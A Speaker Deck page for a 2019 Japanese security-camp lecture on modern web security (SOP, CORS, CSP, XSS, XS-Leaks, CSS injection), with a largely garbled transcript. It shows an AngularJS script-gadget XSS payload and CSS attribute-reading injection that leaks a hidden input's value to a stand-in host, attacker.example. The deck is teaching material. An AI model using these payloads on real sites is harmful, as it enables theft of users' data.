Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) ...
Search
Takashi Yoneuchi
August 15, 2019
Research
47
22k
体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) / Learn Modern Web Security Systematically
セキュリティ・キャンプ全国大会 2019 開発と運用トラックで提供した講義の資料の一部です。誤りに気がついたら、ぜひ @y0n3uchy あるいは @lmt_swallow にお知らせください。
Takashi Yoneuchi
August 15, 2019
Tweet
Share
More Decks by Takashi Yoneuchi
See All by Takashi Yoneuchi
プロダクトセキュリティの「共通言語」を作る ― 技術教育と Policy as Code を例に / "Language" for Product Security
lmt_swallow
0
750
SREを以てセキュリティエンジニアリングを制す / SRE, Security Engineering, and You
lmt_swallow
5
2.9k
Eliminating ReDoS with Ruby 3.2
lmt_swallow
0
260
ソフトウェアサプライチェーンのこれから / Securing Software Supply Chain
lmt_swallow
1
250
AWSのセキュリティ管理をPolicy as Codeで加速する ― 最高のCSPM体験を目指して / Unleashing Policy as Code on AWS CSPM
lmt_swallow
4
2.3k
実践 SpiceDB - クライドネイティブ時代をサバイブできるパーミッション管理の実装を目指して / Practical SpiceDB
lmt_swallow
0
1.8k
Developer-First Security という考え方 / Introduction to Developer-First Security
lmt_swallow
6
9.3k
ちいさな Web ブラウザを作ってみよう(オンライン講義版) / Build Your Own Web Browser
lmt_swallow
18
11k
Go をセキュアに書き進めるための 「ガードレール」を整備しよう / Let's Build Security Guardrails For Your Go Programs!
lmt_swallow
4
5.5k
Other Decks in Research
See All in Research
Vision Language Modelと完全自動運転AIの最新動向
tsubasashi
1
300
[ECCV2024読み会] 衛星画像からの地上画像生成
elith
1
1.1k
研究を支える拡張性の高い ワークフローツールの提案 / Proposal of highly expandable workflow tools to support research
linyows
0
350
公立高校入試等に対する受入保留アルゴリズム(DA)導入の提言
shunyanoda
0
150
CoRL2024サーベイ
rpc
2
1.7k
Prithvi-EO-2.0: A Versatile Multi-Temporal Foundation Model for Earth Observation Applications
satai
3
210
情報処理学会関西支部2024年度定期講演会「自然言語処理と大規模言語モデルの基礎」
ksudoh
10
2.7k
作業記憶の発達的特性が言語獲得の臨界期を形成する(NLP2025)
chemical_tree
1
360
o1 pro mode の調査レポート
smorce
0
140
Weekly AI Agents News! 12月号 プロダクト/ニュースのアーカイブ
masatoto
0
350
国際会議ACL2024参加報告
chemical_tree
1
460
Neural Fieldの紹介
nnchiba
2
790
Featured
See All Featured
Scaling GitHub
holman
459
140k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
Large-scale JavaScript Application Architecture
addyosmani
511
110k
GraphQLとの向き合い方2022年版
quramy
45
14k
Agile that works and the tools we love
rasmusluckow
328
21k
Building Your Own Lightsaber
phodgson
104
6.3k
YesSQL, Process and Tooling at Scale
rocio
172
14k
A better future with KSS
kneath
238
17k
Why You Should Never Use an ORM
jnunemaker
PRO
55
9.3k
Learning to Love Humans: Emotional Interface Design
aarron
273
40k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
7.1k
jQuery: Nuts, Bolts and Bling
dougneiner
63
7.7k
Transcript
ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ηΩϡϦςΟɾΩϟϯϓશࠃେձ։ൃͱӡ༻τϥοΫ 5BLBTIJ:POFVDIJ !MNU@TXBMMPX !ZOVDIZ 'MBUU4FDVSJUZ *OD %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZP
IUUQTTIJGUKTJOGP
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5BLBTIJ:POFVDIJ ‣ !MNU@TXBMMPX !ZOVDIZ ‣ 8PSLJOHBU ‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF
'BDVMUZ PG4DJFODF UIF6OJWFSTJUZPG5PLZP ‣ *ὑ8FC ‣ DUGCMFBEFS TFDDBNQTUB⒎ ‣ 54(EPEPEPEP ‣ 4FFIUUQTTIJGUKTJOGP
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊࢿྉͷ֓ཁ 4QFBLFS%FDLಡऀ͚ ‣ ຊߨٛͷࢿྉͱͯ͠ɺҎ ԼͷͭΛར༻͠·ͨ͠ɻ ‣ ࣄલֶशʜถ͕ݱࡏࣥ චதͷຊͷߘ
‣ ʜ͜ͷεϥΠυ ‣ ͜ͷεϥΠυɺࣥචதͷ ຊͰ·ͩॻ͚͍ͯͳ͍ͱ͜ ΖΛิ͏ͨΊͷͷͰ͢ɻ ‣ ͥͻຊͷެ։ ग़൛ Λ͓ ͪԼ͍͞ɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशࢿྉͷ࣍ͷͪΒΈͤ 4QFBLFS%FDLಡऀ͚
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊߨٛͷඪ ࠶ 8FCηΩϡϦςΟΛମܥతʹֶͿɺͱ ‣ 8FCΞϓϦέʔγϣϯͷ੬ऑੑ 42-J 99&
ֶ͔Δ ‣ ։ൃ࣌ʹؾʹ͖͢͜ͱɺ֓Ͷଞͷ։ൃͱ͕ࠜҰॹ ‣ ೖྗΛ৴༻͠ͳ͍ దͳݖݶཧ FUD ‣ ͔͠͠8FCಛ༗ͳύϥμΠϜֶͼʹ͍͘ ‣ ʮυΩϡϝϯτࢄҳ͍ͯ͠Δ͠ʜʯ ‣ ʮ༷ؒͷͭͳ͕Γݟ͑ͳ͍͠ʜʯ ‣ ຊߨٛͷඪجຊతͳ8FCηΩϡϦςΟͷύϥμΠϜΛֶͿ͜ͱ ‣ Ͳ͏͍͏ڥք͕Ҿ͔ΕΔ͖͔ʁ ‣ Ͳ͏͍͏ಈػ͔ΒɺͲΜͳ༷ɾ߈ܸ͕ग़͖͔ͯͨʁ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰͬͨ͜ͱ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓ ‣ ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔
‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ 401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ 5SBOTJFOU&YFDVUJPO"UUBDLTͷ͞ΘΓ 4JUF 4JUF*TPMBUJPO $03# $031 $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰͬͨ͜ͱ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓ ‣ ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔
‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ 401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ 5SBOTJFOU&YFDVUJPO"UUBDL 4JUF 4JUF*TPMBUJPO $03# $031 $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ Γ͗ͨ͢ ߨٛͰΖ͏ͱࢥͬͯͨ͜ͱ ͥΜͿͬͪΌͬͨʜ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF ࠓͷߨٛͰΔ͜ͱ ‣ *OUSPEVDUJPO NJO ‣ 401$034944
NJO ‣ 1PTU9448PSME NJO ‣ $44*OKFDUJPO NJO ‣ 94-FBLTBOE944FBSDI NJO ‣ 5SZ401944$IBMMFOHF NJO ‣ $44*OKFDUJPO$IBMMFOHF NJO ‣ 944FBSDI$IBMMFOHF NJO ‣ 3FDPO$IBMMFOHF NJO -FDUVSF $IBMMFOHF
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ΞΠεϒϨΠΫ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ౡͷதͰࣗݾհ͠·͠ΐ͏ બߨٛͳͷͰ ɻ ‣ ໊લʜِ໊ɾϋϯυϧωʔϜՄ
‣ ͖ͳ͜ͱʜݚڀͷͰɺৗͷͰɺΞχϝͷͰɻ ‣ ΛࣗવʹؚΊΔ͔ɺؚΊͳ͍͔ɻ ‣ ͕࣌ؒ༨ͬͨΒɺ಄ͷମૢ͕ͯΒɺҎԼΛΛ࠶ߟͯ͠ΈΑ͏ɻ ‣ 401 $034ͳͥඞཁͳͷͰ͠ΐ͏͔ɻ ‣ 944ͱ401ͷؔੑઆ໌Ͱ͖·͔͢ɻ ‣ $41Ͳ͏͍͏ʹର͠ɺͲͷΑ͏ͳޮྗΛͪ·͔͢ɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ҙࣄ߲ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ΄ͲΑ͍͍ͨͣΒ৺ͱɺͱͯΑ͍ྙཧ؍Λ࣋ͪ·͠ΐ͏ɻ ‣ 4/4Ͱຊߨٛͷ࣮گɾײΛπΠʔτ͢Δͷߏ͍·ͤΜɻ ‣ ͦͷࡍʹࡍʹɺͥͻҎԼͷλάΛ͚͍ͯͩ͘͞
‣ TFDDBNQTFDDBNQC ‣ ҙͨͩ͠ɺ͋͘·ͰྙཧతͳπΠʔτΛ৺͕͚͍ͯͩ͘͞ɻ ‣ ຊߨٛͷԋशͰɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ ετʹҰ߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ ‣ IBDRNF ‣ TIJGUKTJOGP
ࣄલֶशͷৼΓฦΓ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 8FCʹ͓͚Δڥքͷඞཁੑ ͳͥڥք͕Ҿ͔ΕΔ͖ͳͷͩΖ͏͔ ‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰͷ੍ݶ͕ͳ͚Εɺ߈ ܸऀগͳ͍εςοϓͰใΛϦʔΫͰ͖Δɻ ‣ FWJMDPN͕GFUDI FYBNQMFDPN
Λൃߦ͠ɺͦͷ݁ՌΛಡΉ͜ ͱ͕ग़དྷΔ߹ɺ߈ܸऀͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ ‣ ͋Δ͍ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠ͷΛಡΊ ͨΒͲ͏͔ɻ http://evil.com ࣗ͠༝ʹ ಡΈॻ͖͕ग़དྷͨΒʁ http://example.com
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻ VSJTDIFNF VSJIPTU VSJQPSU
‣ VSJTDIFNFFHIUUQ IUUQT ‣ VSJIPTUFHFYBNQMFDPN ‣ VSJQPSUFH ‣ VSJQPSU͕লུ͞Ε͍ͯΔ߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷ ϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻ IUUQFYBNQMFDPNTPNFQBUI
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4BNF0SJHJO1PMJDZ "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO ‣ ֓ཁ4BNF0SJHJO1PMJDZ ‣ 401ҎԼΛېࢭ͢Δɻ ‣ $SPTT0SJHJOͳಡΈࠐΈ
‣ ྫGFUDIͷ݁Ռ ‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦త ‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034 ‣ 8FCϒϥβ͕࣋ͭ࠷ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DIXFOLFUBM 4BNF0SJHJO1PMJDZͷςετ ‣ ٙ 4DIXFOLFUBM
‣ 401%0. 401GPS%0. ɺϞμϯͳϒϥβʹ͓͍ͯɺͲͷΑ ͏ʹ࣮͞Ε͍ͯΔͷͩΖ͏͔ɻ ‣ 401%0.ʹؔͷ͋Δ)5.-ϚʔΫΞοϓͲΕ͔ɻ ‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥβͷڍಈϚον͍ͯ͠Δ͔ɻ ‣ ൴Βͷߩݙ ͷҰ෦ ‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ɻIUUQZPVSTPQDPN ‣ ݕূ๏Λମܥతʹهड़͠ɺࠓ·ͰΤοδέʔεͩͬͨͷर͑Δ Α͏ʹͳͬͨɻ ‣ ݁ՌϒϥβؒͰͷࠩҟ͕ݟΒΕͨɻ ׂ߹ͳͲจࢀর
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $034 $SPTT0SJHJO3FTPVSDF4IBSJOH 0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ ‣ $SPTT0SJHJOͳϦιʔεΛਖ਼ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞ ߹ʹͲ͏͢ΕΑ͍ͷͩΖ͏͔ɻ ‣
ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH ‣ ϦιʔεΛར༻͍ͨ͠ଆɺࣗͷ0SJHJOΛ0SJHJOϦΫΤετϔο μͷͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ ‣ ϦιʔεΛఏڙ͢Δଆɺ"DDFTT$POUSPM"MMPX Ϩεϙϯεϔο μΛ௨ͯ͠ɺڐՄෆڐՄΛ͑Δɻ ‣ ϒϥβϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛஅ͢Δɻ ‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034 )551c.%/ IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034
&YFSDJTF 401$034 ඇެ։
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4JUF 0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք ‣ 0SJHJOݫ͍͠ͷͰɺΑΓMPPTFͳ੍͕΄͍͠ɻ ‣ ղܾ4JUF ‣ 3FJTBOE(SJCCMF
4DIFNF F5-% ‣ 8)"58(F5-% ‣ ࠾༻ྫ ‣ 4JUF*TPMBUJPO3FJTBOE(SJCCMFͷͷ ‣ ࢀߟ$3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT 4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO64&/*94FDVSJUZ 4ZNQPTJVN ‣ 4BNF4JUF$PPLJF $001 $0&1 8)"58(ͷͷ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷͭσʔλɺͦͷ֎ ෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͋Δ ɻ ‣
944ͦͷ੍ͷճආͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ401ͷ੍Λड͚ͣʹ ର0SJHJOͷଆΛಈ͖ճΕΔ Origin A スクリプト挿⼊入 <?= $_GET['q'] ?>
&YFSDJTF 944 ඇެ։
1PTU944ͷੈքΛோΊΔ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦϑϨʔϜϫʔΫଆ 'PPMQSPPG "VUPFTDBQJOH FUD ‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର ࡦΛఏڙ͍ͯ͠Δɻ ‣
جຊࣗಈͰΤεέʔϓ͢Δɻ ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥשى͢Δɻ ‣ FHEBOHFSPVTMZ4FU*OOFS)5.- <?= $_GET['q'] ?> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ$41 $POUFOU4FDVSJUZ1PMJDZ ‣ ΞΠσΞ ‣ ։ൃऀɺ)5.-+4ͷͲͷ෦͕͕ࣗఏڙͨ͠ͷͰɺͲͷ෦ ͕ͦ͏Ͱͳ͍͔Λ͍ͬͯΔɻ ‣
*OKFDU͞ΕͯɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚ΕΑ͍ɻ ‣ $41։ൃऀ͕ϒϥβʹ ؔ͢Δ0SJHJOਖ਼نͷ+4ͲΕ ͔ɺͳͲͷ ࣄલใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ ͍Ͱ͍͜͏ɺͱ͍͏Έɻ Content-Security-Policy: script-src 'nonce-4g34...34r' <script nonce="4g34...34r">alert('Hello, CSP!')</script> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ Ͱ͖Δ͜ͱ $POUFOU4FDVSJUZ1PMJDZ ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ ‣ ྫTDSJQUTSD GSBNFTSD
‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ ‣ ྫCBTFVSJ TBOECPY ‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ ‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP ‣ 3FQPSUJOH%JSFDUJWFT$41ҧͷϨϙʔτػೳΛ੍ݶ ‣ ྫSFQPSUVSJ SFQPSUUP ‣ ࣄલֶशͷ1%'ʹܰ͘ॻ͍ͨͷͰɺࡉ͔͍͠·ͤΜɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣮ࡍͷӡ༻ྫ $POUFOU4FDVSJUZ1PMJDZ ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ૿͖͍͑ͯͯΔɻ ‣ 5XJUUFS (JU)VC 'BDFCPPL
4OBQDIBU ‣ 3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ͋ΔΒ͍͠ɻ ‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ؔ࿈ݚڀ $POUFOU4FDVSJUZ1PMJDZ ‣ ࠓͷ$41ʹࢸΔ·Ͱʹɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ ‣ දతͳؔ࿈ݚڀ ‣ #&&1
+JNFUBM ‣ 40." 0EBFUBM ‣ /PODFTQBDFT 7BO(VOEZBOE$IFO ‣ ॳظͷ$41 4UBNNFUBM -FWFM -FWFM ‣ ए͍ࠒ #ͷ͜Ζ ʹॻ͍ͨεϥΠυͳͷͰগʑߥΓ͕ͩɺ͜ͷ εϥΠυʹ͜ͷؔ࿈ͷ·ͱΊͯ͋Δɻ ‣ IUUQTTIJGUKTJOGPQVCMJDBUJPOT$41QEG 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ల $POUFOU4FDVSJUZ1PMJDZ ‣ $41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ ‣ ۙ$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ ‣ ޙํޓੑ
CBDLXBSEDPNQBUJCJMJUZ Λอͭඞཁ͔Βɺଟ͘ͷ ͕ൃੜ͖ͯͨ͠ɻ ‣ ఏҊ$41ΛEJTKPJOUʹׂ͍ͨ͠ɻ ‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔ɺΞΠσΞ ‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU ‣ ՝$41͕ࠓ๊͍͑ͯΔͱҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓ ޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ944"VEJUPSܥ &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944 ‣ ࣹܕ 944Λϒϥβ͕ݕ ͯ͠ɺ͙ͨΊͷΈɻ
‣ 99441SPUFDUJPOϔομʹΑ ΓϞʔυ͕ܾΊΒΕΔ ‣ ແޮ ‣ pMUFS NPEFpMUFS ‣ CMPDL NPEFCMPDL ‣ ݱࡏ944"VEJUPSফ͑Δํ ʹਐΜͰ͍ΔɻDMBQ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944ٕ๏ͷൃల 4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ ‣ $41ͷ͍ͤͰɺ͏·͘ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM
‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4ɺ͢Ͱʹϩʔυ͞ Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻ PSར༻͢Εɺҙ +4࣮ߦʹܨ͛ΒΕΔͷͰͳ͍͔ɻ ‣ DG%&1ʹର͢Δ3FUVSO0SJFOUFE1SPHSBNNJOH 301 3FUVSOUPMJCD <script src="https://ajax.googleapis.com/ajax/libs/ angularjs/1.0.8/angular.js"></script> <div ng-app ng-csp ng-mouseover=$event.view.alert('XSS')> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DSJQUMFTT"UUBDLT +BWB4DSJQUΛར༻͠ͳ͍߈ܸ ‣ +4ΛΘͣʹͰ͖Δ߈ܸʹɺͲͷΑ͏ͳͷ͕͋Δ͔ɻ ‣ 944ରࡦ͍ͯͯ͠ɺͦΕҎ֎ҙࣝͷ֎Ͱ͋Δɺͱ͍͏߹͠ ͋͠ΔͨΊɺ͜Ε༗ӹͳɻ ‣
ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత ‣ $44*OKFDUJPOʹؔͯ͠ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF UFDIOJRVF GPOUSBOHFUFDIOJRVF ͷςΫχοΫ͕XFMMLOPXOɻ ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG ‣ ͜ͷྨͷ߈ܸ͠͠ࢹ͞Ε͖ͯͨɻ ‣ $41पΓͷಈ͖Λ௨ͯ͠ɺΑΓΜʹ۷ΒΕΔΑ͏ʹͳ͖ͬͯͨҹɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 94-FBLT944FBSDI "UUBDLTBJNJOHUIFQPTU944XPSME ‣ ͦͦ$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍߹ʹɺ߈ܸऀԿ Β͔ͷ߈ܸΛߦ͏༨͕͋ΔͷͩΖ͏͔ɻ ‣ ΞΠσΞ͠ใͷશͳϦʔΫ͕ݫͯ͘͠ʜʜʁ ‣
$SPTT0SJHJO͔ΒͰಡΊΔใ͔ΒɺԿ͔ҙຯͷ͋ΔใΛ நग़Ͱ͖ͳ͍͔ɻ ‣ ͦͦಡ·ΕΔ͜ͱ͕ఆ͞Ε͍ͯͳ͍ใΛɺαΠυνϟω ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ ‣ ͜ͷΞΠσΞͷͱɺ$SPTTTJUF-FBLT 94-FBLT $SPTT TJUF4FBSDI 944FBSDI ͱݺΕΔྨ͕ొͨ͠ɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ༨ஊ Ξφϩδʔʁ ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU (BEHFUTʯʁ ‣
ϋʔυΣΞ %&1/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ ‣ $41σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ ‣ ߏ͕ࣅͯ·͢Ͷɻ͔֬ʹಉ͡ΓޱͰ߈ܸΛݕ౼Ͱ͖Δɻ ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS ‣ 6TF"GUFS'SFF 6"' ͷߟ͑ํΛҰൠԽͯ͠ணΛಘͨΒ͍͠ɻ ‣ %BOJFM(SVTTࢯͦͷपลͷํʑ͕͍ͬͯΔݚڀඇৗʹ໘ന͍ͷ ͰɺΥον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔ɻ
$44*OKFDUJPO
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ લఏࣝ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ ‣ ͜Ε࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ ‣ ͜ΕΛԠ༻͢Δͱ
ଐੑΛMFBLՄೳɻ <input type="hidden" value="abc"> input[value ^= "a"] { /* ... */ } input[value ^= "ab"] { /* ... */ } input[value ^= "abc"] { /* ... */ }
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷߏ "UUSJCVUF3FBEJOH$44*OKFDUJPO input[value ^= "a"] {
background: url(http://attacker.example/?a) } /* ... */ ‘ 攻撃ベクタ リクエスト リーク 反射型 蓄積型 準備
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠߹Λߟ͑Δɻ ‣ ߈ܸऀɺ$44*OKFDUJPO͕Ͱ͖ΔॴʹɺҎԼͷΑ͏ͳ$44Λ܁ Γฦ͠ BΛC
D ͱม͑ͭͭ ૠೖ͍ͯ͘͠ɻ ‣ ߈ܸऀBUUBDLFSFYBNQMFͰͪड͚͓ͯ͘͜ͱͰɺWBMVFଐ ੑͷจࣈΛΔ͜ͱ͕Ͱ͖Δɻ <input type="hidden" value="abc"> input[value ^= "a"] { background: url(http://attacker.example/?a) }
&YFSDJTF "UUSJCVUF3FBEJOH ඇެ։
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ -JHBUVSF੍ޚʹΑΔϦʔΫ -JHBUVSF$44*OKFDUJPO ‣ ͜͜·Ͱʹհͨ͠"UUSJCVUF3FBEJOHͰɺλάͷଐੑ ͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ ‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑҎ֎ಡΈग़ͤΔɻ ‣
ϑΥϯτͷ-JHBUVSF ϦΨνϟ Λར༻ͯ͠දࣔ͞ΕΔจࣈͷ෯ ͻ͍ ͯεΫϩʔϧόʔ Λ੍ޚ͢Δ ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ ‣ ิ)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$ ͕ެ։͞Εͨͷ#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻ フォント制御 スクロールバー制御 攻撃ベクタ = +
